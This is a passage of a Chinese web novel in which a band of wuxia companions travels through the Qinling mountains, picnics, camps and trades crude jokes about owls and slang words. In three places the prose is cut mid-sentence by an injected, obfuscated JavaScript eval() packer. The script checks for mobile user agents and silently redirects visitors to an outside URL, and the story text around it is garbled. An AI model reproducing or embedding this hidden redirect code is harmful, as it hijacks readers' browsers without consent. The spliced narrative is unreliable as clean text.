我们三人拿着惠王的手谕,去上林苑马场调马,惠王府的马匹一直养在皇家马场,隶属皇家,统一调配管理。按规矩,王室和皇家的马匹一律不能外调,我们这种情况,有马场的小吏随行便可,此人正是郑清。 有郑清随行,平安也是要跟着去的,自然也少不得柳延年。齐王惠王原本也想跟着去,但是他们是亲王,无诏不得离京,这和赴国亲王无诏不得回京是一样的道理。 幸好,我们出京的时候,七皇子还睡着,不然定也是要跟着的。等他吃下一服药的时候,我们就回来了。 为避免意外,我还做了两手准备,特意交托了我师兄苏和的大弟子,倘若我被耽搁,不能及时回来,便在固定日子进宫替我为七皇子煎药。 从长安京畿到汉中郡,要翻越秦岭,其间一共有五条道,分别是陈仓道,褒斜道,傥谷道,子午谷道,和库谷道。老唐时期,还有一条始自河西走廊天水的祁山道,地势平缓,路况最好,然近百年来,一直被羯奴人把控。 五条道都崎岖坎坷不算好走,我们打算速去速回,本应选择路程最短的,直通京兆与汉中的子午谷道,可这条道路,最是难行,带着平安和柳延年,走这条路,非得把他俩颠簸死不可。 于是我们选择了适中的傥谷道。轻装上阵,要带的东西并不多,一大半还都是平安的行李。 这是平安和郑清长那么大,第一次出京畿远行,新鲜的很,所以平安准备的东西便多了些,欢喜兴奋地忙活到大半夜。她的貂儿们已经都认过主了,还能自行进食,自行玩耍,好养得紧,托付给惠王照看,我们都很放心。 翌日一大早,我们先西行去户县落脚,再到周至骆峪口,上了傥谷道,便直穿秦岭。 夏季山中蚊虫多,平安给我们分发了驱蚊虫的合香珠。我们这些人行走江湖,本不喜身上有什么香气味道,但不好辜负平安一片好心,于是纷纷收下,挂在脖子上,手腕上。 花铁铁还特意多要了一串,挂在小黑背上,说是别让蚊虫咬了她的小黑,然后一马当先。她这么爱护小黑,我也就放心了。 但是听到她说她的小黑,我心里未免又计较起来。看着她在前面意气风发的样子,红衣黑马,马俊人美,我就来气,哼,骑行赶路,要以队伍中最慢的那个人速度为标准,这大虎叉跑那么快有啥意思,还不是得在前面停下,等我们? 六个人,五匹马,平安的那匹马单独驮行李,她则和郑清同乘一骑,一路上说说笑笑。平安昨晚睡得晚,不一会儿便累了,就倒骑在马上,和郑清脸对脸,趴在他怀里休息。郑清感觉实在有些太过亲昵了,一阵阵脸红,还好除了我们也没外人,平安那样也没啥,她高兴就好。 郑清虽然害羞,但也惯着平安,知道她最怕晒黑,还特意戴了一个巨大的斗笠,给她遮阳。又怕平安睡着了,坐不稳,歪下马去,便用平安的披帛把两人牢牢系在一起。郑清这么疼爱平安,我也就放心了。 平安满心欢喜,闭着眼睛假寐,脸上却全是幸福的笑意,紧紧地贴着郑清。好在山中树荫葱郁,长风阵阵,清凉的很,不然他俩不捂出痱子,也得被大汗湿透成水兔子。 我照例和堂邑夫同乘一骑,堂邑夫说怎么早前咱们没想出这个姿势,问我累不累,要是累了,也可以那样在他怀里休息。 我私心嫌那姿势辣眼睛,只道这话他是不是应该去和花铁铁说,毕竟他最想那样抱着的是花铁铁。 他说他想是想,但我要是真累了,就那样休息,别不好意思。接着他很是担心地,低声关切道:“老大,我感觉你最近身体好像有些衰弱。” 我沉默片刻,转头仰脸看了堂邑夫一眼,他立即会意慢下马速,等和其他人隔开一段距离,我才低声问道:“你感觉到了?” 这就算是承认了,堂邑夫闻言,顿时表情凝重,担心的凝眉点点头“嗯”了一声,道:“咱们从小一起长大,你一撅腚我就知道你要往哪边儿放屁,你的身体有啥变化,我又怎会感受不到。” 他这话虽故意说的轻松风趣,其实却是在责备我,没一早和他交代。他没直接埋怨我,是因为他体谅我的苦心,知道我不和他说,是因为怕他学业分心,徒增担心。毕竟,一来学宫大考是他的重要任务,二来他对医术一知半解,那点皮毛,只能跟着忧心,根本帮不上忙。 “啧,你才放屁,最爱放屁的是你家花铁铁,好吧!?”我犟完嘴,问道:“你怎么发现的?”我其实有很刻意的去隐藏。 “我捉摸着不应该啊?花铁铁就算是玄止境,可一个不故意的肘击,能有多大的劲儿,你牙就掉了。”堂邑夫叹了口气,道:“要是掉的是别的牙,我也不寻思你身体出了问题,可偏偏是装点门面的四颗牙。你身体到底怎么了,你要跟我说实话。” 我点点头,说了我的猜测。我想我这身体虽然不长了,但应该也还是会老化的,尤其这口天天使用,天天磨损的牙齿,老化的最快,就算没有花铁铁的肘击,大概这口乳牙在不久的将来,怕是也会全部慢慢掉光,到时候我就会变成一个小小的皱皱巴巴的满口无牙的瘪嘴老太婆。 我都不敢往下想,那样子得多丑陋,便住了嘴。 可是还是忍不住脑补了画面,我不禁微微蹙眉,侧头见堂邑夫一脸哀伤,便按下心中的不安,反去安慰堂邑夫,道:“你放心吧,没什么大事。是有点衰弱,自从出了鬼城,就有点衰弱,哦不,也许是更早一点吧,我其实也不太确定从什么时候开始的,不过反正不要紧,老得不会那么快的,我运气调理一下就会再次强健起来的,实在不行我就去大师兄那里,弄点极品好药补补身子,总之你不用担心我,有空还是多操心操心你家花铁铁吧。她好胜心强,这次山君蛟龙一行,咱们无非就是陪着她走一趟,权当出来散心玩的。待她愿望落空,回来也好收收性子,沉下心来干大事。这几天赶路虽然奔波,你的学业也别落下,学宫大考一展身手,她自会对你刮目相看。” 堂邑夫看着前面花铁铁的秀丽身姿,勾着唇角,满脸温柔地“嗯”了一声。忽又想到了什么,警醒地问我道:“是不是之前向外出送内力太多了,所以损耗了身体?” 不是,我能清晰的感觉到,身体是从鬼城一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14786138|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 行之后衰弱的,虽然不知什么原因,但得承认鬼城果然诡异,是我冒失了,不该轻易踏足的。 未免堂邑夫多心,我故作细思,想了一下,才点点头道:“应该是这个原因,看来我以后不能再轻易输送内力了。” “那你可得言而有信,长安,你得多多爱惜自己,别让我担心,啊。”堂邑夫说着用下巴蹭了蹭我的头顶,可他实在太了解我的性子,怕我不听劝,还会用内力救人,于是就抬出苏和来,故作威胁地道:“你要是再随意输出内力,我可真做那耳报神,定去大师兄跟前细说一番,到时候他罚你,我可不管哈。” 我感动地点点头,再三保证,请他放心放心。堂邑夫这才安心地拍马跟上平安他们。 旅行中的第一顿饭,是我们自己带的口粮,天热,馒头锅饼等干粮好存,但是平安还带了不容易保存的肴肉——烧鸡,咸水鹅,猪肘子,酱牛肉,羊腿,鸭脖等等,还有一些水煮蛋,咸鸭蛋,小咸菜……甚至还带了酒水…… 我们在河边寻了一处平地,平安叫郑清去采些野花,又指挥堂邑夫和柳延年把她带的地毯,从马上取下来往地上一铺,然后让我和花铁铁将食物一一摆好,说是野餐…… 为防食物变质,好多东西要赶紧吃完,于是这顿饭比较丰盛,也比较任务艰巨。 一上午才行了不到五十里路,却吃了三四顿饭的食量,我们都有些撑得慌,平安困极了,于是我们就支起了遮阳帐,整整齐齐地躺在地毯上,打算休息半个时辰再走。 以前我们做任务,抢单子,都是很赶的,有时事态紧急,时间就是生死转机,半刻也耽误不得,我们要么就不吃不喝不休息,要么就在马上随意对付一口,简单的很。 现在,倒清闲起来了,再看这山中景色,竟别是一番风味,以前光顾着赶路,何曾顿足欣赏过啊。哎呀,这风景,真是美不胜收啊! 平安在郑清怀里小憩,郑清给她扇着扇子,不一会儿她就香甜的睡着了,还打起了小呼噜,可爱极了。 我们躺了一会儿,就恢复了精力,打算等平安慢慢睡醒,再赶路。 堂邑夫燊火把食物残屑烧掉,这是我们多年行走江湖的习惯。花铁铁根本闲不住,便找事情干,就下河摸鱼,摸到了给我们看一眼,然后就放回去。 本来一切安然静好,偏偏柳延年嘴贱,说看着鱼好像有些死了,都不挣扎了,没劲了的样子,是不是花铁铁翻来覆去就逮着那一条鱼,可劲儿往死里摸,叫花铁铁发发善心,别真给那鱼玩死了,换一条摸吧。 于是花铁铁盛怒,摸到鱼就往柳延年身上扔,柳延年慌忙窜逃,四处躲避,但根本躲无可躲,最后柳延年都给鱼埋起来了,跪地告饶,才被放过。柳延年弄得浑身上下一身的鱼腥味,便也下河清洗,花铁铁赶紧飞身上岸,嫌弃说柳延年一下河,整条河都脏死了。 堂邑夫把那些鱼都放回了河里。柳延年嘴服心不服的在河里洗涮一番,上岸请求我用内力帮他震干衣服,堂邑夫不愿意,直接替我拒绝,从马上取来柳延年的包袱扔给他,让他到林子里去换一身干净衣服。 52. 露宿 一番折腾,平安就醒了,我们这边收好帐子,地毯等一应用品,柳延年也从林子里出来了,于是大伙儿继续赶路。 换下来的湿衣服,柳延年就用树枝挑着,拴在背后支起来晾晒。衣服也就算了,裤子他也支上了,骑马赶路的时候,灌上风……简直不堪入目,所以他自觉在队伍的最后面,但也不敢落后太远,就和我与堂邑夫慢了半个马身的距离。 我余光总是不小心瞥到他灌了风的裤子……心中暗自庆幸,好在他还有些羞耻感,没把底裤也高高挂起,不然他……一定会挨揍! 不知怎的,柳延年总频频往后看,好像很害怕的样子。 我觉得他是惧后,有些人走路,都是很害怕身后的,尤其是晚上走夜路的时候。 现在虽是午后,但这深山老林的,柳延年害怕也是正常。堂邑夫也注意到了柳延年的异样,但我们都没有出声,因为这种经历,我们小时候也体验过。 好在骑着马,他湿了的衣裤一会儿就被风刮干了,我让他赶紧取下来收好,放进行囊,叫他拍马赶上。 堂邑夫放慢马速,跟在队伍的最后头。其实要不是柳延年那样晒衣服,我嫌辣眼睛,我们本来也是习惯断后的。 可在队伍中间的柳延年,还是一副新生胆怯,惴惴不安的样子,频频往后看。对上我们的眼神,确定身后有我们保护,柳延年稍稍安心,脸上的惧色却不减分毫。 我也忍不住向后看,啥也没有,就转头问柳延年到底看啥,他虚虚地说他也不知道看啥,就老感觉有双眼睛盯着他,仿佛是从刚才林子换衣服时,就有的感觉,盯得他脊背发凉,难受得紧。 花铁铁在队伍最前面,可她耳朵灵,闻言哈哈一笑,道:“别是你脸白腚也白,给山里精怪,或者孤魂野鬼,看上了吧,于是跟着就来了。你那聊斋志异,可讲了不少这样的故事,啊哈哈哈……” 柳延年吓得脸色苍白,差点滑下马去,我和平安连连安慰,他才好些。 花铁铁见他那副弱不禁风的样子,觉得鄙夷又可笑,于是满脸嫌弃与嘲弄的又哈哈大笑起来,整个山间都回荡着她的笑声,笑声重叠,很是魔性,让人不禁毛骨悚然。 平安吓得捂着耳朵钻进郑清怀里,我看着心疼。花铁铁有时候,还真是有够让人无语的。 不过,柳延年倒瞬间不害怕了,说是这么阳气旺盛,中气十足的笑声,什么妖魔鬼怪都给吓跑了,都不敢近身了。 堂邑夫看着花铁铁的背影,又是满心满眼的宠溺。 第一夜我们露宿山中,本来我们再赶十来里路,就可以投宿驿站的,可偏偏平安说从来没有露营过,既然有此暗示,我们定然满足其心愿。 郑清安顿好马匹,去割草料,晚上喂马,我和堂邑夫搭建帐篷,柳延年在周围附近收集干树枝做柴火,平安准备晚饭。 花铁铁见晚饭比不得中午那顿丰盛,就一个飞身不见了踪迹,不到半个时辰,便风尘仆仆地回来,带了好些吃食,还特别买了两只肥鸡,说这把一定要给我露一手。 以她的轻功脚程计,这些吃食应该都是她去最近的村庄子上去采买的。 我对花铁铁满意地点点头,夸她有心数,还知道弄“两”只鸡,要知道她做得荷叶鸡是很美味的,一只根本不够咱们大家分。 花铁铁叫我在一边擎好,就等着享受美味吧。然后傲娇地叫堂邑夫把鸡杀了,收拾出来,叫柳延年多拾点柴火,把篝火燊的大一点,她则去山中野塘子找点荷叶,和点儿黄泥。 堂邑夫嚷嚷着,也要大显身手,花铁铁看在他处理鸡,处理的干净又细心的份儿上,答应了。再者天色也不早了,两个人弄的话,也快一点。 于是两人分别做了一只,为了区别,花铁铁一边洗手,一边叫堂邑夫做好记号,免得两只混了,分不出谁做的好吃,谁做的难吃了。 堂邑夫嘴上说,一定是花铁铁的好吃,但还是老老实实做了记号,用泥巴给花铁铁的荷叶鸡做了两个牛角,然后把两个荷叶鸡放进篝火里,慢慢烘烤。这次,花铁铁没在画蛇添足的使用内力加持。否则,整个秦岭可能都要烧没了,也说不定。 最后,花铁铁的荷叶鸡虽然味道不比从前,稍有逊色,但是比着堂邑夫的简直就是佳肴美味。被嫌弃的堂邑夫,自己一个人吃着他那只,同样被嫌弃的味同嚼蜡的荷叶鸡,看着我们争相抢食花铁铁那只荷叶鸡,却满脸乐呵呵地笑意,幸福极了。 我心疼堂邑夫,就拿出随身带的小药匣子,取出一个小药瓶,扔给堂邑夫。 花铁铁吃惊地问道:“怎么地,要毒死他呀?他做的荷叶鸡是难吃,但也罪不致死吧。” 我真是无语死了,都懒得接话。 堂邑夫一边打开小药瓶,将里面的盐巴均匀地洒在荷叶鸡上,一边道:“这里面是盐巴,我老大虽然善用毒,但她身上的小药匣里都是救命的良药。再说,她哪舍得毒死我啊。” 花铁铁奚落他是为了吃独食儿,才故意把鸡做得那么难吃的。我说我家大螳螂失误了,平时厨艺很好的,再说那么难吃的独食儿,根本算是自虐了。 忽然,花铁铁看着盐巴,像是想起了什么,看了看我们吃剩下的鸡骨头,又看了看堂邑夫的荷叶鸡,“嚯”地一声,站起身来,走到堂邑夫面前,就要把他的荷叶鸡扔掉:“难吃死了别吃了。” 堂邑夫一把拦住,把鸡抢回来,咬了一大口,道:“我觉得老好吃了。” “好吃你就多吃点!”花铁铁冷言冷语,撂下这句话,转身回去坐好,继续和平安翻弄篝火。 她们一人拿了一根烧着的木棍,互相击打,迸发出好看的火星,然后发出欢喜的笑声,乐此不疲。 我叫她们别玩火,小心晚上尿床。她们叫我滚。 堂邑夫吃完荷叶鸡,照例将所有的食物残渣尽数烧掉。 睡前姑娘们在帐子里擦洗身体,少年们去河里沐浴。然后我们一同入睡,我和平安躺在花铁铁两侧,平安身边是郑清,我身边是堂邑夫,堂邑夫再外面是柳延年。 我们有两个玄止境和一个八品高手,因此不必专门设一个人出来值夜。 山中月色很美,但是并不寂静清幽,有很多夜鸟鸣啼,撕心裂肺的像小孩的哭声,但各有不同,叫声实在骇人,平安害怕,郑清和柳延年也不太安定,我和花铁铁,堂邑夫就给他们分辨是什么鸟的叫声。有时候恐惧,来自无知,一旦弄清楚真相,就不害怕了。 比如长声尖叫的是黄腿渔鸮,声音先上仰再低沉的是林角鸮,咕咕咕三声三声连着的,是社林鸮,呜咕两声两声的是雕鸮……其实都是猫头鹰。 一听都是猫头鹰,平安和柳延年异口同声地道:“猫头鹰是益鸟,我们大家都要爱护它!” 花铁铁问猫头鹰就是猫头鹰,益鸟是个什么东西?叫声那么吓人,我们不惊惧就不错了,为什么还要爱护它? 堂邑夫也有疑问,说:“猫头鹰是猛禽,不找咱们麻烦就不错了,咱们爱护它干啥。” 平安和柳延年,又搬出那些遗失的典籍,说是从那上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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花铁铁枕着胳膊颔首道:“嗯!猫头鹰这小咕咕鸡的爪子和喙,是比不过鹰雕隼锋利的,但确实刚烈凶猛。哎呀,都是弱肉强食,一旦挨了欺负,选择怯弱,忍气吞声,不揍回去,千百年来,见着鹰雕隼就怕就躲,如此习性,哪能跟这些鹰雕隼起名并称猛禽啊,早就成了其他猛禽的猎物和点心了,被其他猛禽收拾绝种了也说不定。正因为它揍回去了,哪怕白天挨揍,晚上揍回去,它也找回尊严找回场子了,猛禽之中才有它一个席位。唉,地位名号,这东西都是自己拼死拼活挣来的面子和底气。啧啧啧,何处不江湖啊,就算是个鸟,也绕不开这些打打杀杀的江湖道道儿,说来说去,人和鸟没啥区别,都一样,唉,到最后,才发现,咱们也不过是鸟!” 花铁铁感慨良多,她说的很有道理,但是最后一句我不赞同。 “你才是鸟!”我是骄傲的长安,虽然我的名号是凤主,但我才不是鸟,不是鸟! “我的意思是我们在人世间混迹,跟这些鸟的生存之道颇为相似。”花铁铁见我如此抗拒,于是连忙解释:“我只是,我……”花铁铁毕竟读书少,脑子一乱,有些话到了嘴边,却说不出来了,越急越磕巴。 堂邑夫帮腔道:“铁铁的意思,就是借这些鸟隐喻咱们人,都是弱肉强食,明争暗斗,要有本事有志气,然后才能争得一席之地,威名远扬……” “我不管我不管,反正我不是鸟,花铁铁你那个‘咱们’里只要别包括我,你爱怎么隐喻都可以,你说你们全家都是鸟,我也不反对。”我捂着耳朵,打断堂邑夫,“哼,别以为我不知道鸟是什么,大虎叉你肯定又给我挖坑,我才不上当!” 我说完,帐子里瞬间安静,只有外面各种猫头鹰的叫声,须臾,平安小声道:“也,也别把我包括进去。” 良久,花铁铁很冷静地道:“那我也不用包括进去了。”过了一会儿,花铁铁又幽幽道:“……他们三个都有,我就不凑热闹了。” 沉寂片刻,帐篷里传来爆笑声……啊哈哈哈…… 虽然没人挑明,但谁不知道:鸟就是小鸡鸡! 53. 别问 花铁铁问,男人的小鸡鸡到底有多少种称呼。 于是大家畅所欲言:鸟和小鸟(算一个),小鸭,小牛牛,丁丁,小雀,大巧子……鞭!(这个好,这个好,我们一致觉得平安的这个“鞭”最好)…… 我们又列举了很多……但最让我们惊奇的是,柳延年竟然管他那~话儿叫二弟!!! 我擦,这哥们真绝了!一个人硬生生活成了两个人!! 我真的很难想象,一个男人把自己二弟挂在裆上是什么样子,更没法理顺以后他和他家娘子的关系,大伯子和弟媳妇?老嫂子和小叔子?他娘子到底是嫁给他了,还是嫁给他二弟了!? 我正想着,花铁铁就直接问道:“啧,为什么是二弟呢,太变态了吧!” “变态”这个词还是跟柳延年学的,花铁铁活学活用,这会儿还反过来用到了柳延年身上。柳延年很吃憋。 花铁铁不给柳延年插嘴的机会,只接着道:“你管那~话儿叫二弟,那你怎么面对你婆娘?洞房的时候,你说小鸡鸡来了,小牛牛来了,大巧子来了,都可以,你说你二弟来了,膈应人不,你婆娘不得吓得一愣啊,还特么有什么情调可言?这跟正来劲儿的时候,迎头浇了一盆凉水有啥区别,什么兴致什么火,浇不灭啊?这房还怎么洞啊?” 花铁铁还真挺为柳延年的房事操心的!居然想那么多!我看了看身边的堂邑夫,心道她要是换个人想,就好了。 柳延年闻言坐起身着急解释,平安却抢先道:“哎呀,咱们太少儿不宜了,不是说呆萌可爱的猫头鹰吗?怎么扯那么远了。”平安窝在郑清的臂弯里,羞红了脸,请求道:“咱们说话还是注意点儿吧,我家清哥哥为人正直,听这些,会不好意思,会很拘谨的。” 花铁铁问“少儿不宜”是什么?柳延年解释说就是常言道小孩少打听的成人话题,对小孩影响不好,所以少儿不宜。 花铁铁茫然了:“那不应该是不宜长安吗,郑清不好意思个啥劲儿啊?” 我让她滚,生气大叫,谁也不许再把我当小孩儿当病人,不然我弄(neng)死她!!! 最后他们一致保证再也不把我当病人,花铁铁好像还嘟囔了一声,最好不要当人。我不是没听到,而是不想和她计较,因为我怕我会忍不住动手,然后今晚我们就没有帐篷睡了。 说到底郑清和我们其实并不熟稔,因着平安的关系,平时我们彼此都很热情很客气,但是像这样亲近还是第一次。 我们本就是没有规矩的人,如今乍一离开上位者,不用夹着尾巴做人了,便更没了章法,完全是天大地大老子最大的做派,想说什么说什么,想怎么说怎么说,而且我们天生不要脸,本来就不拘小节,又混迹江湖这么多年,生死杀伐见得多了,便放浪形骸起来,有些东西真的不太在意。 以前,闲着没事插科打诨,谈论一些“食色性也”的话题,是我们多年来养成的,用来消遣放松的良好习惯。不过选择情色话题说笑,并不是我们浸淫其中,难以自拔,实在是其他的话题,未免枯燥乏味,打打杀杀的日子,来来回回就那么点事情,而且黑暗血腥,并不适合日常消遣耍嘴皮子。 其实,我们今晚的话题真的还算可以,以前我们谈论的比着少儿不宜的多了,非常成人。我们还一起看过春宫图,还是杜晦领着我们一起看的,行走江湖,有些东西就是要尽早知道,不然会中招的。 有时候无知,真的很要命。纯洁小白兔怎么混江湖?只有被江湖混的份儿!混江湖混的是生死场,生死场说到底玩的就是人性的狡诈与邪恶。所以就算是小白兔,也得是脸上带条刀疤的,才混得开。 我们从来不纯洁!!!这一点儿,我们和郑清平安,没法比!!! 我们得承认,今晚虽然已经比以前收敛多了,但刚才到底肆无忌惮,怕是那般言语无状,多少还是会让老实本分的郑清感到冲击,让他有些不自在。 平安毕竟敏感,应该是察觉到郑清的异样,或是担心郑清会被我们的言辞无状冒犯,于是方才出言打断我们的话题。 我们纷纷答应平安收敛,不再说了。 郑清呵呵笑了笑,客气道:“没事儿,大家自便就好。” 其实,我们感觉刚才郑清也没啥,跟着我们一起笑来着,倒是平安的建议,才会让郑清不好意思,拘谨起来,毕竟那种话题,他不好说自己不愿意听,更不好说自己愿意参与。 聪慧如平安,立即反应过来是自己把郑清推向了一个更尴尬的境地,顿时呼吸都局促起来。 我赶紧打圆场:“都是自家兄弟姐妹,没外人,感到不好意思,感到拘谨,那是还没融入进来,那更要什么话都听得都说得,这样才能消除隔阂,拉近距离,增进友谊,不然总是拘着,你的清哥哥这也不好意思听,那也不好意思听,我们也拘着,什么话也不敢说了,那这一路上,多没趣儿啊。关系总处的生生凉凉,疏疏离离的,以后还怎么一起共患难同富贵?” 花铁铁大咧咧地附和道:“对对对,咱们都是出生入死的兄弟姐妹,不能太客气,太规矩,就得什么话都谈得来,什么话都说得出,这样有危险了,才能直爽得交托生死,不然老想着不好意思,别给人添麻烦,临终遗言都说一半留一半,死都难以名目,那算什么共患难?同生死都不好意思了,同富贵就更拉不下面皮了。一家人,最根本的就是不分彼此,有酒一起喝,有钱一起花,不管谁富贵了其他人都可以大大方方随意沾光,心无芥蒂随便蹭吃蹭喝蹭钱花,要是这都不好意思,那还算什么一家人?” 花铁铁越说越激情,我们也都非常赞同花铁铁的这番言论。 短暂的拥立,让花铁铁错觉自己是我们这个小团队的灵魂人物,必须起带头作用,于是提议道:“来来来,为了郑清更好更快地融入我们这个大家庭,咱们大家都说几个段子,把纯洁的友谊提升一个高度。嗯,我先来我先说,我这个段子很考验智力,傻子不配和我做朋友,说女人嫁人有什么用?”花铁铁按捺着兴奋直接出题。 题目一出,大家一边思考,一边重复道:女人嫁人有什么用? “自然是穿衣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798218|152330||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吃饭持家生子啦。”柳延年回道。 “傻子,滚!”花铁铁干净利落地嫌弃道。 柳延年上来就折戟,让大家都谨慎起来,嘀嘀咕咕,甚至小声讨论。尤其是堂邑夫,想得异常认真。 “铁铁……我们这些傻子,可能以后都不能和你做朋友了,你自己保重。”说着,我向堂邑夫怀里挪了挪,尽量和花铁铁保持距离。 花铁铁反倒非常得意,一脸获胜的喜色,翻身趴过来,问我:“怎么着?你认输啦?不过我可以通融一下,你还可以做我好朋友。” “开后门?这么明目张胆?大可不必,我并不是很想走。”我严词拒绝,又道:“我妹妹刚才的意思,是让咱们收敛一点儿,给郑清一个适应的空间,好让他慢慢融入咱们,不是让你变本加厉。”这道题目出的,和光腚果奔有啥子区别。 “所以,你猜出来了没有?”花铁铁掩饰不住激动问。 “睡吧。”我认真地闭上眼睛,躺平道。 “所以,答案到底是什么?长安你是不是想出来了?”平安附身过来,趴在花铁铁肩上小声问道。 堂邑夫也在我耳边小声问我。 我蹙了蹙眉头,用胳膊肘推了一下堂邑夫,啧了一声道:“别问,都别问,睡觉。” “我也想知道!”郑清弱弱地问。 融入地挺快啊,不过干什么要融入到傻子的行列里呢?唉,都猜不出来?可不都是傻子吗?傻子向来扎堆儿! “……我也不知道,我服了,我认了,傻子都是傻子,都不配跟铁铁做朋友,都别打听了,都赶紧睡吧。”我硬着头皮平静地道,然后转身往堂邑夫怀里一钻,枕着他的胳膊,认认真真睡大觉。 花铁铁憋着一个那么劲爆的答案,兴奋的都要爆炸了,肯定不会善罢甘休的,觉我的三番五次偃旗息鼓,实在扫兴,不耐烦地道:“啊呀行了行了行了,一群大傻子,连有什么用都猜不出来,女人没有,男人有,你们说女人嫁人有什么用?当然就是——有个鸟用啦!啊哈哈哈……”花铁铁说完,趴在那里,扑腾着笑个不停,旁若无人。 答案一出,我顿时一脑门子汗!交友谨慎啊!!!让我疯吧让我死!!!花铁铁太不要死脸了!!!我不想和她做朋友,我不想承认自己认识她…… 果然,团队的灵魂人物很重要,我想有花铁铁这样的大家长,我们会在不要死脸的道路上一去不复返! 我脑海中一群人浩浩荡荡,为首的就是仿佛受命于天般,一脸认真一本正经的,举着“天下第一不要死脸”大旗的花铁铁!!! 这个大虎叉,我简直要爆炸了……都说了收敛一点收敛一点,那是我妹妹和我妹夫……你搁那有个鸟用有个鸟用……脖子上面毕竟长着一张脸吧,咱就是说?做人最好还是要有底线吧!?可以不要脸,但不能不要死脸吧?! 在花铁铁近乎魔怔的笑声的映衬下,帐子里一片死寂,忽然,平安一个没忍住,噗嗤一声笑出来,然后……“啊哈哈哈……有个鸟用……啊哈哈哈哈……啊哈哈哈哈……” 54. 家人 良久,笑得上气不接下气的我们,终于在反反复复几波笑浪中停息下来。 “铁铁,你讨厌死了!”平安擦了擦眼角笑出的泪,娇嗔道。 “她讨厌你第一天知道啊,谁叫你猜不出,还老问!”我噘着嘴责备。 柳延年道:“那现在怎么办?我们都是大傻子,只有铁铁一个人聪明。” “我们这些傻子可以独立出来做朋友。”我道。 “那岂不是变相孤立铁铁了?”堂邑夫不愿意。 “呐,不是咱们孤立她,是有些人呢太过优秀,比较适合独来独往。鹤立鸡群,总是孤独。”我故作高深。 花铁铁的神情随着我们的话语变换,最后声明道:“不要,我才不要做鹤,虽然你们呢是傻子,和我做朋友呢是有那么一点点不够格,但是作为家人嘛,还是可以的,家人是不会互相嫌弃的,还会互相包容的,你们傻傻的笨笨的还怪可爱的。” 花铁铁说着,伸手在平安的下巴勾了一下,又在我的脸蛋上捏了一下,接着说道:“我花铁铁为人向来仗义又有胸襟,非但不会嫌弃你们,还会好好保护你们的,断然不会让你们这些没脑子的,被人欺负被人诓哄被人敲诈勒索被人坑蒙拐骗的。” “铁铁,你好man,好伟大,我好崇拜你。”平安又开始星星眼。 先不论好man是个是什么东西,看见平安盲目崇拜我心中就很不乐意,难道她就没发现除了花铁铁,几乎没人欺负我们吗? 我噘着嘴,不停地翻着白眼儿,堂邑夫用手把我眼睛合上,在我耳边低声说我眼睛一闪一闪地有点吓人。 “哎呦,都说过了,不要搞个人崇拜,你放心,我第一疼你……”花铁铁就是没有尾巴,不然帐子都给她捅破了,说着她还特意停下来想了想,侧过脸看着我道:“嗯,长安,你第二吧。” 我谢谢你,还想着我。 不等我开口,平安抢先建议道:“我和长安,并列吧!” “行!”花铁铁点点头,认为平安很大度很识大体。 哪跟哪儿啊,你们就这么愉快地决定了,有没有考虑一下我的感受,能不能出于礼貌和尊重,征求一下我的意见?我并不乐意,排第一也都不乐意,还并列?哼!我刚要霸气反驳,就又听见一个声音。 “那我排第二!?”如此卑微的请求,弱弱地从堂邑夫的口中说出,稍稍带着期许和惊喜。 我简直气死,堂邑夫你好不好出息点。 “你滚!”果然花铁铁无情拒绝。 “好来!”堂邑夫顺快地答应,然后不死心的问:“那谁第二?”堂邑夫实在没法确定剩下的两个人(柳延年和郑清),花铁铁会怎么排。怎么排,他都不甘心,他都很受伤。 “不会……是我吧!”柳延年试探地问。 啧,真是没想到第二还有人抢呢?还特么真抢!我觉得心口憋得难受,不住的叹气。 花铁铁没做回复,柳延年竟然有些兴奋。 但我知道花铁铁为什么沉默,她这会儿应该是很纠结的,要是拒绝了柳延年,那么就只剩下一个郑清了,可如果把郑清排老二,那算怎么个事儿啊? 花铁铁和郑清又不熟,郑清还是好姐妹平安的心上人,她把好姐妹心上人排第二,像话吗? 平安也有些紧张起来。 花铁铁是有些急智的,脑子一热,顺口说道:“男的不参与排名,想排名,先把鸟剪了。”说完花铁铁自我佩服地五体投地,坐起身来,拍着巴掌,直叫好,“这个好这个好,还得是我花铁铁呀。” 好什么好?你就是个大虎叉!我只觉得花铁铁虎的时候是真虎,没见着那些男人们听了虎躯一震吗?平安都羞涩地朝郑清那边挪了挪,和你保持距离了,你还在那里叫好,我真服了。 花铁铁完全沉浸在自我折服中,一脸真没想到自己居然如此大才,随口一个提议就这么完美解决了千古难题的样子。见我们表情木然,竟有些难遇知己的失落,她叹了口气,复又躺了回来,“人无完人,普天之下像我这么完美的人能有几个?不可强求啊。”一脸看傻子似的,扫了我们一眼,竟有些同情。 我,你,妈……我不同情你,就不错了,你居然……算了,我还是省省吧。 大概是觉得队伍有些难带,花铁铁感慨道:“唉,我是不想做鹤的,可偏偏立于你们这些鸡群之中,唉,长安有一句话还是说得很对的,优秀的人,总是要辛苦一些,唉,能者多劳,我认了。” 我无语死了,鹤立鸡群是比喻,谁告诉你我们就是鸡了?再说到底哪里优秀了,到底多劳什么了,这么多年辛苦怎么造成的,自己没点逼数吗? 